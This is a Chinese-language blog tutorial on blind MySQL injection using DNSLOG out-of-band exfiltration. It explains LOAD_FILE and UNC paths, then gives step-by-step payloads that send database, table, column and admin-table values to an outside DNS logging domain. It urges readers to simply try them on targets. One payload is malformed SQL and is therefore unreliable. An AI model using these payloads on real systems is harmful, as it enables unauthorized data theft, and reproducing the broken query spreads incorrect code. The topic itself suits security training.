网络安全从入门到精通 (第五章-2) MySQL注入 — Dns 注入

本文内容:

  • DNSLOG的函数解析
  • UNC路径
  • DNSLOG的使用场景
  • DNSLOG注入的具体流程

 

1,DNSLOG的函数解析:

  Mysql函数:LOAD_FILE()读取文件的函数。

    读取字符串并返回文档内容未字符串,要使用次函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。

    该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接收的数据包大小函数,默认1MB)。

    如果该文件不存在或者无法读取,因为前面的条件之一不满足,函数返回NULL。

    LOAD_FILE()读取文件函数的功能不是默认开启的,需要在mysql配置文件mysql-ini文件最后加一句:secure_file_priv=

    添加之后需要重启才能生效。

2,UNC路径:通过命名规则,也称通用命名规范,通过命名规定,远程共享文件的一种格式。

  什么是UNC路径:

    UNC路径就是类似\\softer这样的网络路径:

  格式:\\servername\sharename\filname

    servername:服务器名称,

    sharename:共享资源的名称

    filename:共享资源文件夹的名称

3,DNSLOG的使用场景:

  在某些无法直接利用漏洞获得回显的情况下,但是目标可以发出请求,这个时候就可以通过DNSLOG把想获取的数据外带出来。

  对于SQL盲注,常见的方法就是二分法,去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban。

  所以可以将select的数据发送给一个url,利用Dns解析产生的记录日志来查看数据。

  select load_file() 可以请求贡献文件。

  DNS:是域名,所以需要一个域名:http://dnslog.cn/

    免费的Dnslog平台,不用注册,不用登陆,不采集任何信息。

4,DNSLOG注入的具体流程:

  前提是网站数据库开启了load_file功能。

  1.判断是否存在sql注入:

    and 1=1 和 and 1=2

  2.通过判断之后发现此处是一个满足,而盲注常用的方法就是二分法,一个一个去猜,但是如果系统数据库开启了load_file功能。

   我们就可以使用DNS解析产生的记录日志,来查看数据。

  3.爆库:

    and (select load_file(concat('//',(select database()),'域名/abc')))

  4.爆表:

    and (select load_file(concat('//',(select table_name from information_schema.tables=database() limit 0,1),'域名/abc')))

  5.爆字段:

    and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 0,1),'域名/abc')))

  6.爆数据:

    and (select load_file(concat('//',(select id from admin limit 0,1),'域名/abc')))

  解释:

    域名:可以通过上面免费域名网站获得。

    abc:域名下的文件夹。

    limit:使用limit 是因为数据库查询出来的数据不一定是个字符串,查询出来返回好几条数据,需要使用limit一条一条取出来,拼进域名内。

    不用管系统数据库是否开启load_file,直接干就行,能行,就是开启了,不能行,就是没开启,试过才知道。

 

与君共勉:

  向着目标奔跑,

  何必在意折翼的翅膀,

  只要信心不死,

  就看的见方向,

  顺风适合行走,

  逆风更适合飞翔,

  人生路上什么都不怕,

  就怕自己投降。

 

posted @ 2020-04-05 12:00  TheHIde  阅读(247)  评论(0编辑  收藏  举报